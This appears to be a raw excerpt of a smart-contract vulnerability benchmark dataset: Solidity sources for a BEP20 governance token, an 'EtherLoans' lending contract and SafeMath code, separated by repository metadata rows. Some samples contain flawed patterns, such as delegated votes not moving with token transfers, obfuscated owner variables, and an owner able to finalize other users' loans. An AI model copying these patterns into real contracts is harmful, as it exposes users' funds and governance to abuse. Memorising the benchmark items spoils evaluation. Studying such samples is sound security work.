// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
// fdToken with Governance.
contract fdToken is BEP20('fd Token', 'fd') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "fd::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "fd::delegateBySig: invalid nonce");
require(now <= expiry, "fd::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "fd::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying fds (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "fd::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 108,844 | 665 |
23e0932f92fa80b5dd706af53b159cde947d2b7f79d6ff61bb15a4c2cd076610
| 16,764 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x0d229f45245c2756ae1895db90e1246ad6933795.sol
| 5,863 | 16,652 |
pragma solidity 0.5.1;
contract Medianizer {
function peek() external pure returns (bytes32,bool) {}
}
contract FiatContract {
function USD(uint _id) external pure returns (uint256);
}
contract EtherLoans {
uint nIsDEV = 0;
Medianizer gobjMakerDAOContract;
FiatContract gobjFiatContract;
address payable __;
uint ___ = 0;
uint gnLastLenderOfferID = 0;
uint gnLastBorrowerOfferID = 0;
uint gnLastLoanID = 0;
uint gnFee = 0;
uint gnLoadID = 0;
struct clsTempForFinalize {
bytes3 b3FinalizedByLender;
uint nAmountToSendLender;
uint nAmountToSendBorrower;
uint nAppreciation;
uint nFinalInterest_FromBorrower;
}
struct clsLenderOffer {
uint nFee;
address payable adrLenderAddress;
uint nEtherDeposited;
uint nInterestRatePerSecond;
uint nInterest_SecondsToPrepay;
uint nDateCancelled;
uint nDateMatched;
}
struct clsBorrowerOffer {
uint nFee;
address payable adrBorrowerAddress;
uint nEtherToBorrow;
uint nEtherDeposited;
uint nInterestRatePerSecond;
uint nDateCancelled;
uint nDateMatched;
}
struct clsLoan {
uint nLoanNumber;
uint nFee;
uint nDateCreated;
uint nAcceptedByLender;
address payable adrLenderAddress;
address payable adrBorrowerAddress;
uint nEtherDeposited_Lender;
uint nEtherDeposited_Borrower;
uint nInterestRatePerSecond;
uint nStarting_ETH_USD;
uint nEnding_ETH_USD;
uint nDateFinalized;
uint nFinalizedByLender;
}
mapping(uint => clsLenderOffer) gmapLenderOffers;
mapping(uint => clsBorrowerOffer) gmapBorrowerOffers;
mapping(uint => clsLoan) gmapLoans;
constructor() public {
__ = msg.sender;
if (nIsDEV == 1) {
gobjFiatContract = FiatContract(0x2CDe56E5c8235D6360CCbb0c57Ce248Ca9C80909);
} else {
gobjMakerDAOContract = Medianizer(0x729D19f657BD0614b4985Cf1D82531c67569197B);
}
}
modifier _()
{
require(msg.sender == __);
_;
}
event LenderOffersCreated(uint indexed LoanNumber, address indexed Lender, uint EtherDeposited, uint APR, uint Interest_DaysToPrepay, uint Fee_Percent);
event LenderOffersCancelled(uint indexed LoanNumber, address indexed Lender, uint EtherRefunded);
event BorrowerOffersCreated(uint indexed LoanNumber, address indexed Borrower, uint EtherToBorrow, uint EtherDeposited, uint APR, uint Fee_Percent);
event BorrowerOffersCancelled(uint indexed LoanNumber, address indexed Borrower, uint EtherRefunded);
event LoansCreated (uint indexed LoanNumber, bytes3 OfferedByLender, address indexed Lender, address indexed Borrower, uint EtherFromLender, uint EtherFromBorrower, uint APR, uint Interest_DaysPrepaid, uint Starting_ETH_USD, uint Fee_Percent);
event LoansFinalized (uint indexed LoanNumber, address indexed Lender, address indexed Borrower, bytes3 FinalizedByLender, uint Starting_ETH_USD, uint Ending_ETH_USD, uint EthToLender, uint EthToBorrower, uint Appreciation, uint StartTime, uint APR, uint Interest, uint Fee_Percent);
function () external payable {}
function zLenderCancelsOffer(uint nOfferID) external{
require(gmapLenderOffers[nOfferID].adrLenderAddress == msg.sender && gmapLenderOffers[nOfferID].nDateCancelled == 0 && gmapLenderOffers[nOfferID].nDateMatched == 0);
gmapLenderOffers[nOfferID].nDateCancelled = block.timestamp;
msg.sender.transfer(gmapLenderOffers[nOfferID].nEtherDeposited);
emit LenderOffersCancelled(nOfferID,
msg.sender,
gmapLenderOffers[nOfferID].nEtherDeposited);
}
function zBorrowerCancelsOffer(uint nOfferID) external{
require(gmapBorrowerOffers[nOfferID].adrBorrowerAddress == msg.sender && gmapBorrowerOffers[nOfferID].nDateCancelled == 0 && gmapBorrowerOffers[nOfferID].nDateMatched == 0);
gmapBorrowerOffers[nOfferID].nDateCancelled = block.timestamp;
msg.sender.transfer(gmapBorrowerOffers[nOfferID].nEtherDeposited);
emit BorrowerOffersCancelled(nOfferID + 1000000,
msg.sender,
gmapBorrowerOffers[nOfferID].nEtherDeposited);
}
function zCreateLoan(uint nAcceptedByLender, uint nOfferID) external payable {
require(msg.value > 0);
uint nCurrent_ETH_USD;
if (nIsDEV == 1) {
nCurrent_ETH_USD = 1e34 / gobjFiatContract.USD(0);
} else {
(bytes32 b32_Current_ETH_USD, bool bValid_ETH_USD) = gobjMakerDAOContract.peek();
require (bValid_ETH_USD == true);
nCurrent_ETH_USD = uint(b32_Current_ETH_USD);
}
if (nAcceptedByLender == 0) {
require (gmapLenderOffers[nOfferID].nDateCancelled == 0 && gmapLenderOffers[nOfferID].nDateMatched == 0);
require (msg.value >= (gmapLenderOffers[nOfferID].nEtherDeposited * gmapLenderOffers[nOfferID].nInterest_SecondsToPrepay * gmapLenderOffers[nOfferID].nInterestRatePerSecond) / 1.01 ether);
} else {
require (gmapBorrowerOffers[nOfferID].nDateCancelled == 0 && gmapBorrowerOffers[nOfferID].nDateMatched == 0);
require (msg.value == gmapBorrowerOffers[nOfferID].nEtherToBorrow);
}
gnLastLoanID++;
gmapLoans[gnLastLoanID].nDateCreated = block.timestamp;
gmapLoans[gnLastLoanID].nAcceptedByLender = nAcceptedByLender;
gmapLoans[gnLastLoanID].nStarting_ETH_USD = nCurrent_ETH_USD;
bytes3 b3OfferedByLender;
if (nAcceptedByLender == 0) {
b3OfferedByLender = "Yes";
gmapLenderOffers[nOfferID].nDateMatched = block.timestamp;
gmapLoans[gnLastLoanID].nLoanNumber = nOfferID;
gmapLoans[gnLastLoanID].nFee = gmapLenderOffers[nOfferID].nFee;
gmapLoans[gnLastLoanID].adrLenderAddress = gmapLenderOffers[nOfferID].adrLenderAddress;
gmapLoans[gnLastLoanID].adrBorrowerAddress = msg.sender;
gmapLoans[gnLastLoanID].nEtherDeposited_Lender = gmapLenderOffers[nOfferID].nEtherDeposited;
gmapLoans[gnLastLoanID].nEtherDeposited_Borrower = msg.value;
gmapLoans[gnLastLoanID].nInterestRatePerSecond = gmapLenderOffers[nOfferID].nInterestRatePerSecond;
} else {
b3OfferedByLender = "No";
gmapBorrowerOffers[nOfferID].nDateMatched = block.timestamp;
gmapLoans[gnLastLoanID].nLoanNumber = nOfferID + 1000000;
gmapLoans[gnLastLoanID].nFee = gmapBorrowerOffers[nOfferID].nFee;
gmapLoans[gnLastLoanID].adrLenderAddress = msg.sender;
gmapLoans[gnLastLoanID].adrBorrowerAddress = gmapBorrowerOffers[nOfferID].adrBorrowerAddress;
gmapLoans[gnLastLoanID].nEtherDeposited_Lender = msg.value;
gmapLoans[gnLastLoanID].nEtherDeposited_Borrower = gmapBorrowerOffers[nOfferID].nEtherDeposited;
gmapLoans[gnLastLoanID].nInterestRatePerSecond = gmapBorrowerOffers[nOfferID].nInterestRatePerSecond;
}
emit LoansCreated(gmapLoans[gnLastLoanID].nLoanNumber,
b3OfferedByLender,
gmapLoans[gnLastLoanID].adrLenderAddress,
gmapLoans[gnLastLoanID].adrBorrowerAddress,
gmapLoans[gnLastLoanID].nEtherDeposited_Lender,
gmapLoans[gnLastLoanID].nEtherDeposited_Borrower,
gmapLoans[gnLastLoanID].nInterestRatePerSecond,
gmapLoans[gnLastLoanID].nEtherDeposited_Borrower / ((gmapLoans[gnLastLoanID].nInterestRatePerSecond * gmapLoans[gnLastLoanID].nEtherDeposited_Lender) / 1 ether),
gmapLoans[gnLastLoanID].nStarting_ETH_USD,
gnFee);
}
function zCreateLenderOffer(uint nInterestRatePerSecond, uint nInterest_SecondsToPrepay) external payable {
require(msg.value > 0);
gnLastLenderOfferID++;
gmapLenderOffers[gnLastLenderOfferID].nFee = gnFee;
gmapLenderOffers[gnLastLenderOfferID].adrLenderAddress = msg.sender;
gmapLenderOffers[gnLastLenderOfferID].nEtherDeposited = msg.value;
gmapLenderOffers[gnLastLenderOfferID].nInterestRatePerSecond = nInterestRatePerSecond;
gmapLenderOffers[gnLastLenderOfferID].nInterest_SecondsToPrepay = nInterest_SecondsToPrepay;
emit LenderOffersCreated(gnLastLenderOfferID,
msg.sender,
msg.value,
nInterestRatePerSecond,
nInterest_SecondsToPrepay,
gnFee);
}
function zCreateBorrowerOffer(uint nEtherToBorrow, uint nInterestRatePerSecond) external payable {
require(msg.value > 0);
gnLastBorrowerOfferID++;
gmapBorrowerOffers[gnLastBorrowerOfferID].nFee = gnFee;
gmapBorrowerOffers[gnLastBorrowerOfferID].adrBorrowerAddress = msg.sender;
gmapBorrowerOffers[gnLastBorrowerOfferID].nEtherToBorrow = nEtherToBorrow;
gmapBorrowerOffers[gnLastBorrowerOfferID].nEtherDeposited = msg.value;
gmapBorrowerOffers[gnLastBorrowerOfferID].nInterestRatePerSecond = nInterestRatePerSecond;
emit BorrowerOffersCreated(gnLastBorrowerOfferID + 1000000,
msg.sender,
nEtherToBorrow,
msg.value,
nInterestRatePerSecond,
gnFee);
}
function zGetLoans1() external view returns (uint[] memory anFee, uint[] memory anDateCreated, uint[] memory anAcceptedByLender, address[] memory aadrLenderAddress, address[] memory aadrBorrowerAddress,
uint[] memory anEtherDeposited_Lender, uint[] memory anEtherDeposited_Borrower) {
anFee = new uint[](gnLastLoanID+1);
anDateCreated = new uint[](gnLastLoanID+1);
anAcceptedByLender = new uint[](gnLastLoanID+1);
aadrLenderAddress = new address[](gnLastLoanID+1);
aadrBorrowerAddress = new address[](gnLastLoanID+1);
anEtherDeposited_Lender = new uint[](gnLastLoanID+1);
anEtherDeposited_Borrower = new uint[](gnLastLoanID+1);
for (uint i = 1; i <= gnLastLoanID; i++) {
anFee[i] = gmapLoans[i].nFee;
anDateCreated[i] = gmapLoans[i].nDateCreated;
anAcceptedByLender[i] = gmapLoans[i].nAcceptedByLender;
aadrLenderAddress[i] = gmapLoans[i].adrLenderAddress;
aadrBorrowerAddress[i] = gmapLoans[i].adrBorrowerAddress;
anEtherDeposited_Lender[i] = gmapLoans[i].nEtherDeposited_Lender;
anEtherDeposited_Borrower[i] = gmapLoans[i].nEtherDeposited_Borrower;
}
}
function zGetLoans2() external view returns (uint[] memory anInterestRatePerSecond, uint[] memory anStarting_ETH_USD, uint[] memory nEnding_ETH_USD, uint[] memory nDateFinalized, uint[] memory nFinalizedByLender) {
anInterestRatePerSecond = new uint[](gnLastLoanID+1);
anStarting_ETH_USD = new uint[](gnLastLoanID+1);
nEnding_ETH_USD = new uint[](gnLastLoanID+1);
nDateFinalized = new uint[](gnLastLoanID+1);
nFinalizedByLender = new uint[](gnLastLoanID+1);
for (uint i = 1; i <= gnLastLoanID; i++) {
anInterestRatePerSecond[i] = gmapLoans[i].nInterestRatePerSecond;
anStarting_ETH_USD[i] = gmapLoans[i].nStarting_ETH_USD;
nEnding_ETH_USD[i] = gmapLoans[i].nEnding_ETH_USD;
nDateFinalized[i] = gmapLoans[i].nDateFinalized;
nFinalizedByLender[i] = gmapLoans[i].nFinalizedByLender;
}
}
function zSetFee(uint nFee) _() external {
gnFee = nFee;
}
function zSet_(uint n_) _() external {
___ = n_;
}
function zGet_() _() external view returns (uint nFee, uint n_) {
nFee = gnFee;
n_ = ___;
}
function zW_() _() external {
uint nTemp = ___;
___ = 0;
__.transfer(nTemp);
}
function zGetLenderOffers() external view returns (uint[] memory anFee, address[] memory aadrLenderAddress, uint[] memory anEtherDeposited, uint[] memory anInterestRatePerSecond,
uint[] memory anInterest_SecondsToPrepay, uint[] memory anDateCancelled, uint[] memory anDateMatched) {
anFee = new uint[](gnLastLenderOfferID+1);
aadrLenderAddress = new address[](gnLastLenderOfferID+1);
anEtherDeposited = new uint[](gnLastLenderOfferID+1);
anInterestRatePerSecond = new uint[](gnLastLenderOfferID+1);
anInterest_SecondsToPrepay = new uint[](gnLastLenderOfferID+1);
anDateCancelled = new uint[](gnLastLenderOfferID+1);
anDateMatched = new uint[](gnLastLenderOfferID+1);
for (uint i = 1; i <= gnLastLenderOfferID; i++) {
anFee[i] = gmapLenderOffers[i].nFee;
aadrLenderAddress[i] = gmapLenderOffers[i].adrLenderAddress;
anEtherDeposited[i] = gmapLenderOffers[i].nEtherDeposited;
anInterestRatePerSecond[i] = gmapLenderOffers[i].nInterestRatePerSecond;
anInterest_SecondsToPrepay[i] = gmapLenderOffers[i].nInterest_SecondsToPrepay;
anDateCancelled[i] = gmapLenderOffers[i].nDateCancelled;
anDateMatched[i] = gmapLenderOffers[i].nDateMatched;
}
}
function zGetBorrowerOffers() external view returns (uint[] memory anFee, address[] memory aadrBorrowerAddress, uint[] memory anEtherToBorrow, uint[] memory anEtherDeposited, uint[] memory anInterestRatePerSecond,
uint[] memory anDateCancelled, uint[] memory anDateMatched) {
anFee = new uint[](gnLastBorrowerOfferID+1);
aadrBorrowerAddress = new address[](gnLastBorrowerOfferID+1);
anEtherToBorrow = new uint[](gnLastBorrowerOfferID+1);
anEtherDeposited = new uint[](gnLastBorrowerOfferID+1);
anInterestRatePerSecond = new uint[](gnLastBorrowerOfferID+1);
anDateCancelled = new uint[](gnLastBorrowerOfferID+1);
anDateMatched = new uint[](gnLastBorrowerOfferID+1);
for (uint i = 1; i <= gnLastBorrowerOfferID; i++) {
anFee[i] = gmapBorrowerOffers[i].nFee;
aadrBorrowerAddress[i] = gmapBorrowerOffers[i].adrBorrowerAddress;
anEtherToBorrow[i] = gmapBorrowerOffers[i].nEtherToBorrow;
anEtherDeposited[i] = gmapBorrowerOffers[i].nEtherDeposited;
anInterestRatePerSecond[i] = gmapBorrowerOffers[i].nInterestRatePerSecond;
anDateCancelled[i] = gmapBorrowerOffers[i].nDateCancelled;
anDateMatched[i] = gmapBorrowerOffers[i].nDateMatched;
}
}
function zFinalizeLoan(uint nFinalizedByLender, uint nLoanID) external {
bytes3 b3FinalizedByLender = "No";
uint nCurrent_ETH_USD;
if (nFinalizedByLender == 1) {
if (gmapLoans[nLoanID].adrLenderAddress != msg.sender && msg.sender == __) {
b3FinalizedByLender = "n/a";
} else {
require(gmapLoans[nLoanID].adrLenderAddress == msg.sender);
b3FinalizedByLender = "Yes";
}
} else {
require(gmapLoans[nLoanID].adrBorrowerAddress == msg.sender);
}
require(gmapLoans[nLoanID].nDateFinalized == 0);
if (nIsDEV == 1) {
nCurrent_ETH_USD = 1e34 / gobjFiatContract.USD(0);
} else {
(bytes32 b32_Current_ETH_USD, bool bValid_ETH_USD) = gobjMakerDAOContract.peek();
require (bValid_ETH_USD == true);
nCurrent_ETH_USD = uint(b32_Current_ETH_USD);
}
gmapLoans[nLoanID].nDateFinalized = block.timestamp;
gmapLoans[nLoanID].nFinalizedByLender = nFinalizedByLender;
gmapLoans[nLoanID].nEnding_ETH_USD = nCurrent_ETH_USD;
uint nFinalInterest_FromBorrower = (gmapLoans[nLoanID].nEtherDeposited_Lender * (block.timestamp - gmapLoans[nLoanID].nDateCreated) * gmapLoans[nLoanID].nInterestRatePerSecond) / 1 ether;
if (nFinalInterest_FromBorrower > gmapLoans[nLoanID].nEtherDeposited_Borrower) {
nFinalInterest_FromBorrower = gmapLoans[nLoanID].nEtherDeposited_Borrower;
}
uint nFee_Interest = (nFinalInterest_FromBorrower * gnFee) / 100;
uint nFinalInterest_ToLender = nFinalInterest_FromBorrower - nFee_Interest;
uint ____ = nFee_Interest;
uint nAmountToSendLender = gmapLoans[nLoanID].nEtherDeposited_Lender;
uint nAmountToSendBorrower = gmapLoans[nLoanID].nEtherDeposited_Borrower;
uint nAppreciation = 0;
if (nCurrent_ETH_USD > gmapLoans[nLoanID].nStarting_ETH_USD) {
nAmountToSendLender = (gmapLoans[nLoanID].nStarting_ETH_USD * gmapLoans[nLoanID].nEtherDeposited_Lender) / nCurrent_ETH_USD;
nAppreciation = gmapLoans[nLoanID].nEtherDeposited_Lender - nAmountToSendLender;
uint nFee_Appreciation = (nAppreciation * gnFee) / 100;
nAmountToSendBorrower = (nAmountToSendBorrower + nAppreciation) - nFee_Appreciation;
____ += nFee_Appreciation;
}
nAmountToSendLender += nFinalInterest_ToLender;
nAmountToSendBorrower -= nFinalInterest_FromBorrower;
gmapLoans[nLoanID].adrLenderAddress.transfer(nAmountToSendLender);
gmapLoans[nLoanID].adrBorrowerAddress.transfer(nAmountToSendBorrower);
___ += ____;
clsTempForFinalize memory objTempForFinalize;
objTempForFinalize.nAmountToSendLender = nAmountToSendLender;
objTempForFinalize.nAmountToSendBorrower = nAmountToSendBorrower;
objTempForFinalize.nAppreciation = nAppreciation;
objTempForFinalize.nFinalInterest_FromBorrower = nFinalInterest_FromBorrower;
objTempForFinalize.b3FinalizedByLender = b3FinalizedByLender;
gnLoadID = nLoanID;
emit LoansFinalized(gmapLoans[gnLoadID].nLoanNumber,
gmapLoans[gnLoadID].adrLenderAddress,
gmapLoans[gnLoadID].adrBorrowerAddress,
objTempForFinalize.b3FinalizedByLender,
gmapLoans[gnLoadID].nStarting_ETH_USD,
gmapLoans[gnLoadID].nEnding_ETH_USD,
objTempForFinalize.nAmountToSendLender,
objTempForFinalize.nAmountToSendBorrower,
objTempForFinalize.nAppreciation,
gmapLoans[gnLoadID].nDateCreated,
gmapLoans[gnLoadID].nInterestRatePerSecond,
objTempForFinalize.nFinalInterest_FromBorrower,
gnFee);
}
function zGetGlobals() external view returns (uint nFee, uint nCurrent_ETH_USD, bool bPriceFeedIsValid, uint nTimeStamp) {
nFee = gnFee;
if (nIsDEV == 1) {
nCurrent_ETH_USD = 1e34 / gobjFiatContract.USD(0);
bPriceFeedIsValid = true;
} else {
(bytes32 b32_Current_ETH_USD, bool bValid_ETH_USD) = gobjMakerDAOContract.peek();
nCurrent_ETH_USD = uint(b32_Current_ETH_USD);
bPriceFeedIsValid = bValid_ETH_USD;
}
nTimeStamp = block.timestamp;
}
}
| 163,954 | 666 |
3d8b7e4188c2bbe945091ef2bc84dd1ca86fab5b798db92e261b38f80aaf520c
| 16,514 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xfd6bf2fb19e947f16355c4ec98d0fd26790cf0ce.sol
| 3,758 | 12,169 |
pragma solidity ^0.4.18;
// File: contracts/zeppelin-solidity/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/zeppelin-solidity/token/ERC20Basic.sol
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/zeppelin-solidity/token/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
